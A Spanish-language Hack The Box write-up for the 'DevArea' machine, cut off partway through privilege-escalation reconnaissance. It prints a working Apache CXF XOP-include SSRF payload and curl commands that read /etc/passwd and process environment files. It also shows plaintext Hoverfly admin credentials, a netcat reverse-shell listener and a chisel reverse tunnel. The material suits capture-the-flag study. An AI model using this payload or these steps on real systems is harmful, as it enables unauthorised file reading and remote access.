DevArea expone el servicio FTP, donde se encontro un archivo JAR para un servicio web SOAP corriendo en Apache CXF. Este ultimo es vulnerable a SSRF, lo que permitio realizar la lectura de credenciales en un servicio de Linux. Finalmente se escalaron privilegios a traves de un script con sudo y permisos de escritura sobre bash.
| Nombre |
DevArea |
| OS |
Linux  |
| Puntos |
30 |
| Dificultad |
Medium |
| Fecha de Salida |
2026-03-28 |
| IP |
10.129.14.70 |
| Maker |
EmSec |
|
Rated
|
{
"type": "bar",
"data": {
"labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"],
"datasets": [{
"label": "User Rated Difficulty",
"data": [78, 76, 363, 480, 852, 398, 235, 47, 14, 32],
"backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"]
}]
},
"options": {
"scales": {
"xAxes": [{"display": false}],
"yAxes": [{"display": false}]
},
"legend": {"labels": {"fontColor": "white"}},
"responsive": true
}
}
|
Recon
nmap
nmap muestra multiples puertos abiertos: http (80, 8080, 8500, 8888), ssh (22) y ftp (21).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
|
# Nmap 7.95 scan initiated Fri Apr 3 23:35:39 2026 as: /usr/lib/nmap/nmap --privileged -p21,22,80,8080,8500,8888 -sV -sC -oN nmap_scan 10.129.14.70
Nmap scan report for 10.129.14.70
Host is up (0.27s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 ftp ftp 4096 Sep 22 2025 pub
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.14.43
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.5 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 83:13:6b:a1:9b:28:fd:bd:5d:2b:ee:03:be:9c:8d:82 (ECDSA)
|_ 256 0a:86:fa:65:d1:20:b4:3a:57:13:d1:1a:c2:de:52:78 (ED25519)
80/tcp open http Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://devarea.htb/
|_http-server-header: Apache/2.4.58 (Ubuntu)
8080/tcp open http Jetty 9.4.27.v20200227
|_http-title: Error 404 Not Found
|_http-server-header: Jetty(9.4.27.v20200227)
8500/tcp open http Golang net/http server
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 500 Internal Server Error
| Content-Type: text/plain; charset=utf-8
| X-Content-Type-Options: nosniff
| Date: Sat, 04 Apr 2026 05:36:06 GMT
| Content-Length: 64
| This is a proxy server. Does not respond to non-proxy requests.
| GenericLines, Help, LPDString, RTSPRequest, SIPOptions, SSLSessionReq, Socks5:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest, HTTPOptions:
| HTTP/1.0 500 Internal Server Error
| Content-Type: text/plain; charset=utf-8
| X-Content-Type-Options: nosniff
| Date: Sat, 04 Apr 2026 05:35:47 GMT
| Content-Length: 64
|_ This is a proxy server. Does not respond to non-proxy requests.
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
8888/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Hoverfly Dashboard
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8500-TCP:V=7.95%I=7%D=4/3%Time=69D0A332%P=x86_64-pc-linux-gnu%r(Gen
SF:ericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20te
SF:xt/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x2
SF:0Request")%r(GetRequest,E9,"HTTP/1\.0\x20500\x20Internal\x20Server\x20E
SF:rror\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nX-Content-Type
SF:-Options:\x20nosniff\r\nDate:\x20Sat,\x2004\x20Apr\x202026\x2005:35:47\
SF:x20GMT\r\nContent-Length:\x2064\r\n\r\nThis\x20is\x20a\x20proxy\x20serv
SF:er\.\x20Does\x20not\x20respond\x20to\x20non-proxy\x20requests\.\n")%r(H
SF:TTPOptions,E9,"HTTP/1\.0\x20500\x20Internal\x20Server\x20Error\r\nConte
SF:nt-Type:\x20text/plain;\x20charset=utf-8\r\nX-Content-Type-Options:\x20
SF:nosniff\r\nDate:\x20Sat,\x2004\x20Apr\x202026\x2005:35:47\x20GMT\r\nCon
SF:tent-Length:\x2064\r\n\r\nThis\x20is\x20a\x20proxy\x20server\.\x20Does\
SF:x20not\x20respond\x20to\x20non-proxy\x20requests\.\n")%r(RTSPRequest,67
SF:,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x2
SF:0charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r
SF:(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/p
SF:lain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Req
SF:uest")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConten
SF:t-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n
SF:400\x20Bad\x20Request")%r(FourOhFourRequest,E9,"HTTP/1\.0\x20500\x20Int
SF:ernal\x20Server\x20Error\r\nContent-Type:\x20text/plain;\x20charset=utf
SF:-8\r\nX-Content-Type-Options:\x20nosniff\r\nDate:\x20Sat,\x2004\x20Apr\
SF:x202026\x2005:36:06\x20GMT\r\nContent-Length:\x2064\r\n\r\nThis\x20is\x
SF:20a\x20proxy\x20server\.\x20Does\x20not\x20respond\x20to\x20non-proxy\x
SF:20requests\.\n")%r(LPDString,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n
SF:Content-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r
SF:\n\r\n400\x20Bad\x20Request")%r(SIPOptions,67,"HTTP/1\.1\x20400\x20Bad\
SF:x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnecti
SF:on:\x20close\r\n\r\n400\x20Bad\x20Request")%r(Socks5,67,"HTTP/1\.1\x204
SF:00\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r
SF:\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request");
Service Info: Host: _; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Apr 3 23:36:25 2026 -- 1 IP address (1 host up) scanned in 46.13 seconds
|
Agregamos a el dominio devarea.htb a /etc/hosts.
FTP - Puerto 21
En este puerto corre vsFTPd 3.0.5. Es posible acceder como usuario anonimo donde encontramos el archivo employee-service.jar.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
❯ ftp 10.129.14.70
Connected to 10.129.14.70.
220 (vsFTPd 3.0.5)
Name (10.129.14.70:kali): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||49586|)
150 Here comes the directory listing.
drwxr-xr-x 2 ftp ftp 4096 Sep 22 2025 pub
226 Directory send OK.
ftp> cd pub
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||47698|)
150 Here comes the directory listing.
-rw-r--r-- 1 ftp ftp 6445030 Sep 22 2025 employee-service.jar
226 Directory send OK.
ftp> get employee-service.jar
local: employee-service.jar remote: employee-service.jar
229 Entering Extended Passive Mode (|||45638|)
150 Opening BINARY mode data connection for employee-service.jar (6445030 bytes).
100% |*******************************************************************************************************************************************| 6293 KiB 477.34 KiB/s 00:00 ETA
226 Transfer complete.
6445030 bytes received in 00:13 (467.64 KiB/s)
ftp>
|
HTTP
Puerto 80
Los headers muestran un servidor Apache.
1
2
3
4
5
6
7
8
9
10
11
12
|
❯ curl -sI devarea.htb
HTTP/1.1 200 OK
Date: Sat, 04 Apr 2026 05:39:49 GMT
Server: Apache/2.4.58 (Ubuntu)
Last-Modified: Sun, 21 Sep 2025 20:52:00 GMT
ETag: "56c3-63f55dfd03c00"
Accept-Ranges: bytes
Content-Length: 22211
Vary: Accept-Encoding
Content-Type: text/html
❯
|
El sitio es estatico y esta dirigido a empleos para desarolladores.

Puerto 8080
En este puerto se indica el uso de Jetty version 9.4.27.v20200227.

Puerto 8888
Encontramos que corre HoverFly en el puerto 8888.

La API no indica la version.
1
2
3
4
5
6
7
8
|
❯ curl -sI http://devarea.htb:8888/api/v2/hoverfly/version
HTTP/1.1 404 Not Found
Content-Type: text/plain; charset=utf-8
X-Content-Type-Options: nosniff
Date: Sat, 04 Apr 2026 09:25:34 GMT
Content-Length: 19
❯
|
Para Hoverfly existen varias vulnerabilidades una de estas marcada como Critica en la version 1.11.3, tiene la vulnerabilidad Command Injection a traves de la API: CVE-2025-54123.
SOAP Web Service
jadx permite abrir el archivo .jar para su analisis. Observamos que es un archivo que ofrece un servicio web SOAP, JAX-WS. Se define la interfaz EmployeeService y la logica a travez de EmployeeServiceImpl. Se ofrece este bajo el puerto 8080 y el “endpoint” /employeeservice?wsdl.

La logica muestra la unica funcion submitReport() donde se verifica si el reporte es confidencial.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
package htb.devarea;
/* loaded from: employee-service.jar:htb/devarea/EmployeeServiceImpl.class */
public class EmployeeServiceImpl implements EmployeeService {
@Override // htb.devarea.EmployeeService
public String submitReport(Report report) {
String str;
if (report.isConfidential()) {
str = "Report marked confidential. Thank you, " + report.getEmployeeName();
} else {
str = "Report received from " + report.getEmployeeName();
}
String greeting = str;
return greeting + ". Department: " + report.getDepartment() + ". Content: " + report.getContent();
}
}
|
Para la clase Report se definen getters y setters, ademas de la sobre escritura de toString() donde devuelve informacion del reporte.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
package htb.devarea;
/* loaded from: employee-service.jar:htb/devarea/Report.class */
public class Report {
private String employeeName;
private String department;
private String content;
private boolean confidential;
public String getEmployeeName() {
return this.employeeName;
}
public void setEmployeeName(String employeeName) {
this.employeeName = employeeName;
}
public String getDepartment() {
return this.department;
}
public void setDepartment(String department) {
this.department = department;
}
public String getContent() {
return this.content;
}
public void setContent(String content) {
this.content = content;
}
public boolean isConfidential() {
return this.confidential;
}
public void setConfidential(boolean confidential) {
this.confidential = confidential;
}
public String toString() {
return "Report{employeeName='" + this.employeeName + "', department='" + this.department + "', content='" + this.content + "', confidential=" + this.confidential + '}';
}
}
|
Tambien, en el archivo pom.xml se indica Apache CXF en su version 3.2.14, asi tambien las dependencias de este: Jax-WS, Aegis y Jetty. Para esta version de apache existe la vulnerabilidad SSRF CVE-2022-46364 (CVE-2022-46364: Apache CXF SSRF Vulnerability).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
<properties>
<cxf.version>3.2.14</cxf.version>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
</properties>
<dependencies>
<!-- Apache CXF dependencies -->
<dependency>
<groupId>org.apache.cxf</groupId>
<artifactId>cxf-rt-frontend-jaxws</artifactId>
<version>${cxf.version}</version>
</dependency>
<dependency>
<groupId>org.apache.cxf</groupId>
<artifactId>cxf-rt-databinding-aegis</artifactId>
<version>${cxf.version}</version>
</dependency>
<dependency>
<groupId>org.apache.cxf</groupId>
<artifactId>cxf-rt-transports-http-jetty</artifactId>
<version>${cxf.version}</version>
</dependency>
<dependency>
<groupId>org.apache.cxf</groupId>
<artifactId>cxf-rt-bindings-soap</artifactId>
<version>${cxf.version}</version>
</dependency>
<!-- ... cut ... -->
</dependencies>
|
Enviamos un reporte a traves de Burpsuite. Muestra una respuesta esperada, basada en EmployeeServiceImpl.

Apache CXF - SSRF
A traves del PoC intentamos incluir el archivo /etc/passwd en una solicitud MTOM.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
❯ cat payload.txt
--boundary_12345
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-ID: <root.xml@devarea.htb>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dev="http://devarea.htb/">
<soapenv:Header/>
<soapenv:Body>
<dev:submitReport>
<arg0>
<employeeName>START <inc:Include href="file:///etc/passwd" xmlns:inc="http://www.w3.org/2004/08/xop/include"/> END.</employeeName>
<department>Security</department>
<content>Content.</content>
<confidential>true</confidential>
</arg0>
</dev:submitReport>
</soapenv:Body>
</soapenv:Envelope>
--boundary_12345--
❯
|
Al enviar la solicitud observamos en base64 el archivo.
1
2
3
4
5
|
❯ curl -X POST http://devarea.htb:8080/employeeservice \
-H "Content-Type: multipart/related; type=\"application/xop+xml\"; start=\"<root.xml@devarea.htb>\"; start-info=\"text/xml\"; boundary=\"boundary_12345\"" \
--data-binary @payload.txt
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><ns2:submitReportResponse xmlns:ns2="http://devarea.htb/"><return>Report marked confidential. Thank you, cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjQyOjY1NTM0Ojovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4Kbm9ib2R5Ong6NjU1MzQ6NjU1MzQ6bm9ib2R5Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLW5ldHdvcms6eDo5OTg6OTk4OnN5c3RlbWQgTmV0d29yayBNYW5hZ2VtZW50Oi86L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC10aW1lc3luYzp4Ojk5Nzo5OTc6c3lzdGVtZCBUaW1lIFN5bmNocm9uaXphdGlvbjovOi91c3Ivc2Jpbi9ub2xvZ2luCm1lc3NhZ2VidXM6eDoxMDE6MTAyOjovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC1yZXNvbHZlOng6OTkyOjk5MjpzeXN0ZW1kIFJlc29sdmVyOi86L3Vzci9zYmluL25vbG9naW4KcG9sbGluYXRlOng6MTAyOjE6Oi92YXIvY2FjaGUvcG9sbGluYXRlOi9iaW4vZmFsc2UKcG9sa2l0ZDp4Ojk5MTo5OTE6VXNlciBmb3IgcG9sa2l0ZDovOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c2xvZzp4OjEwMzoxMDQ6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgp1dWlkZDp4OjEwNDoxMDU6Oi9ydW4vdXVpZGQ6L3Vzci9zYmluL25vbG9naW4KdGNwZHVtcDp4OjEwNToxMDc6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgp0c3M6eDoxMDY6MTA4OlRQTSBzb2Z0d2FyZSBzdGFjaywsLDovdmFyL2xpYi90cG06L2Jpbi9mYWxzZQpsYW5kc2NhcGU6eDoxMDc6MTA5OjovdmFyL2xpYi9sYW5kc2NhcGU6L3Vzci9zYmluL25vbG9naW4KZnd1cGQtcmVmcmVzaDp4Ojk4OTo5ODk6RmlybXdhcmUgdXBkYXRlIGRhZW1vbjovdmFyL2xpYi9md3VwZDovdXNyL3NiaW4vbm9sb2dpbgp1c2JtdXg6eDoxMDg6NDY6dXNibXV4IGRhZW1vbiwsLDovdmFyL2xpYi91c2JtdXg6L3Vzci9zYmluL25vbG9naW4Kc3NoZDp4OjEwOTo2NTUzNDo6L3J1bi9zc2hkOi91c3Ivc2Jpbi9ub2xvZ2luCmRldl9yeWFuOng6MTAwMToxMDAxOjovaG9tZS9kZXZfcnlhbjovYmluL2Jhc2gKZnRwOng6MTEwOjExMTpmdHAgZGFlbW9uLCwsOi9zcnYvZnRwOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3dhdGNoOng6OTg0Ojk4NDo6L29wdC9zeXN3YXRjaDovdXNyL3NiaW4vbm9sb2dpbgpwb3N0Zml4Ong6MTExOjExMjo6L3Zhci9zcG9vbC9wb3N0Zml4Oi91c3Ivc2Jpbi9ub2xvZ2luCl9sYXVyZWw6eDo5OTk6OTg3OjovdmFyL2xvZy9sYXVyZWw6L2Jpbi9mYWxzZQpkaGNwY2Q6eDoxMDA6NjU1MzQ6REhDUCBDbGllbnQgRGFlbW9uLCwsOi91c3IvbGliL2RoY3BjZDovYmluL2ZhbHNlCg==. Department: Security. Content: Content.</return></ns2:submitReportResponse></soap:Body></soap:Envelope>
❯
|
Tras decodificarlo observamos el contenido.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
❯ echo cm9vdDp4OjA6MDp... cut ...lCg== | base64 -d
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:101:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:102:1::/var/cache/pollinate:/bin/false
polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin
syslog:x:103:104::/nonexistent:/usr/sbin/nologin
uuidd:x:104:105::/run/uuidd:/usr/sbin/nologin
tcpdump:x:105:107::/nonexistent:/usr/sbin/nologin
tss:x:106:108:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:107:109::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
dev_ryan:x:1001:1001::/home/dev_ryan:/bin/bash
ftp:x:110:111:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
syswatch:x:984:984::/opt/syswatch:/usr/sbin/nologin
postfix:x:111:112::/var/spool/postfix:/usr/sbin/nologin
_laurel:x:999:987::/var/log/laurel:/bin/false
dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
❯
|
El archivo /proc/self/environ muestra al usuario dev_ryan tambien el servicio employee-service.service.
1
2
3
4
5
6
|
❯ curl -siX POST http://devarea.htb:8080/employeeservice \
-H "Content-Type: multipart/related; type=\"application/xop+xml\"; start=\"<root.xml@devarea.htb>\"; start-info=\"text/xml\"; boundary=\"boundary_12345\"" \
--data-binary @payload.txt | \
sed -n 's/.*Thank you, \(.*\)\. Department.*/\1/p' | base64 -d; echo
LANG=en_US.UTF-8PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/snap/binUSER=dev_ryanLOGNAME=dev_ryanHOME=/home/dev_ryanSHELL=/bin/bashINVOCATION_ID=7003eb7cd20d416b8ffc6bf7d94c0022JOURNAL_STREAM=8:18966SYSTEMD_EXEC_PID=1456MEMORY_PRESSURE_WATCH=/sys/fs/cgroup/system.slice/employee-service.service/memory.pressureMEMORY_PRESSURE_WRITE=c29tZSAyMDAwMDAgMjAwMDAwMAA=JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64
❯
|
El contenido del servicio /etc/systemd/system/employee-service.service indica el comando a ejecutar con el archivo jar. Se define como inaccesible el archivo user.txt.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
[Unit]
Description=Employee Service (Java CXF + Jetty)
After=network.target
[Service]
User=dev_ryan
WorkingDirectory=/home/dev_ryan
InaccessiblePaths=/home/dev_ryan/user.txt
ProtectHome=false
ExecStart=/usr/lib/jvm/java-8-openjdk-amd64/bin/java -jar /opt/EmployeeService/target/employee-service.jar
SuccessExitStatus=143
Restart=on-failure
RestartSec=5
StandardOutput=journal
StandardError=journal
Environment=JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64
[Install]
WantedBy=multi-user.target
|
User - dev_ryan
Hoverfly- CVE-2025-54123
Basados en el nombre logramos obtener el servicio de hoverfly bajo el nombre /etc/systemd/system/hoverfly.service, en este se indican un par de credenciales.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
[Unit]
Description=HoverFly service
After=network.target
[Service]
User=dev_ryan
Group=dev_ryan
WorkingDirectory=/opt/HoverFly
ExecStart=/opt/HoverFly/hoverfly -add -username admin -password O7IJ27MyyXiU -listen-on-host 0.0.0.0
Restart=on-failure
RestartSec=5
StartLimitIntervalSec=60
StartLimitBurst=5
LimitNOFILE=65536
StandardOutput=journal
StandardError=journal
[Install]
WantedBy=multi-user.target
|
Las credenciales permiten el acceso al dashboard.

Se menciono una vulnerabilidad para Hoverfly, esta se encuentra en /api/v2/hoverfly/middleware, tras replicar la explotacion con el PoC observamos la ejecucion de whoami.

Ejecutamos una shell inversa logrando acceso como dev_ryan y la flag user.txt.
1
2
3
4
5
6
7
8
9
10
11
12
|
❯ rlwrap nc -lvp 1336
listening on [any] 1336 ...
connect to [10.10.14.43] from devarea.htb [10.129.14.70] 39066
/bin/sh: 0: can't access tty; job control turned off
$ whoami;id;pwd
dev_ryan
uid=1001(dev_ryan) gid=1001(dev_ryan) groups=1001(dev_ryan)
/opt/HoverFly
$ cd
$ cat user.txt
63dd9119852cdf5de703925b07023bce
$
|
User - root
dev_ryan puede ejecutar el script syswatch.sh como root, sin embargo no tiene permisos de lectura sobre este.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
$ sudo -l -l
Matching Defaults entries for dev_ryan on devarea:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User dev_ryan may run the following commands on devarea:
Sudoers entry: /etc/sudoers
RunAsUsers: root
Options: !authenticate
Commands:
/opt/syswatch/syswatch.sh
!/opt/syswatch/syswatch.sh web-stop
!/opt/syswatch/syswatch.sh web-restart
$ ls -lah /opt/syswatch/syswatch.sh
ls: cannot access '/opt/syswatch/syswatch.sh': Permission denied
$
|
La ejecucion indica multiples opciones.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
$ sudo /opt/syswatch/syswatch.sh
SysWatch 1.0.0
Usage: /opt/syswatch/syswatch.sh <command> [args]
Commands:
web Start web GUI
web-stop Stop web GUI
web-restart Restart web GUI
web-status Show web GUI status
plugin <name> [args] Execute plugin
plugins List available plugins
logs <file> View log file
logs --list List available log files
--version Show version
--help|-h|help Show this help
$
|
Tambien, encontramos el puerto 7777 que parece estar relacionado al script.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
$ netstat -ntpl
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.54:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:7777 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::8080 :::* LISTEN 1456/java
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::21 :::* LISTEN -
tcp6 0 0 :::8500 :::* LISTEN 1457/hoverfly
tcp6 0 0 ::1:25 :::* LISTEN -
tcp6 0 0 :::8888 :::* LISTEN 1457/hoverfly
$ curl -s 127.0.0.1:7777/login |head
<!DOCTYPE html>
<html>
<head>
<title>Login - SysWatch</title>
<link rel="stylesheet" href="/static/style.css">
</head>
<body>
<div class="login-container">
<div class="login-card">
<div class="login-title">Sign in to SysWatch</div>
$
|
Reverse Tunnel
Enviamos el puerto 7777 a nuestra maquina a traves de chisel.
1
2
3
4
5
6
7
8
9
10
11
|
# local - kali
❯ ./chisel_linux server --reverse --port 7070
2026/04/04 03:45:13 server: Reverse tunnelling enabled
2026/04/04 03:45:13 server: Fingerprint NVMZJdMQ2yhC4GEiQzMWQS0W+TrUN8LByJDDQub88+g=
2026/04/04 03:45:13 server: Listening on http://0.0.0.0:7070
2026/04/04 03:46:21 server: session#1: tun: proxy#R:7777=>127.0.0.1:7777: Listening
# devarea - htb
$ ./chisel_linux client 10.10.14.43:7070 R:7777:127.0.0.1:7777
2026/04/04 09:46:18 client: Connecting to ws://10.10.14.43:7070
2026/04/04 09:46:21 client: Connected (Latency 274.891991ms)
|
SysWatch
El puerto muestra un login para Syswatch 1.0.0.

Encontramos multiples archivos relacionados a esta aplicacion.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
$ find / -iname *syswatch* 2>/dev/null
/home/dev_ryan/syswatch-v1.zip
/sys/fs/cgroup/system.slice/syswatch-web.service
/etc/syswatch.env
/etc/systemd/system/syswatch-monitor.timer
/etc/systemd/system/syswatch-monitor.service
/etc/systemd/system/multi-user.target.wants/syswatch-web.service
/etc/systemd/system/.syswatch-web.service.swp
/etc/systemd/system/timers.target.wants/syswatch-monitor.timer
/etc/systemd/system/syswatch-web.service
/var/mail/syswatch
/usr/local/bin/syswatch
/opt/syswatch
/run/systemd/units/invocation:syswatch-web.service
$
|
Entre los archivos, lo que parece ser el codigo fuente de la aplicacion incluyendo scripts.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
$ unzip -l /home/dev_ryan/syswatch-v1.zip
Archive: /home/dev_ryan/syswatch-v1.zip
Length Date Time Name
--------- ---------- ----- ----
0 2025-12-14 13:37 syswatch/
0 2025-12-12 21:37 syswatch/logs/
0 2025-12-12 21:37 syswatch/logs/disk.log
0 2025-12-12 21:37 syswatch/logs/service.log
0 2025-12-12 21:37 syswatch/logs/log-alerts.log
0 2025-12-12 21:37 syswatch/logs/cpu-mem.log
0 2025-12-12 21:37 syswatch/logs/network.log
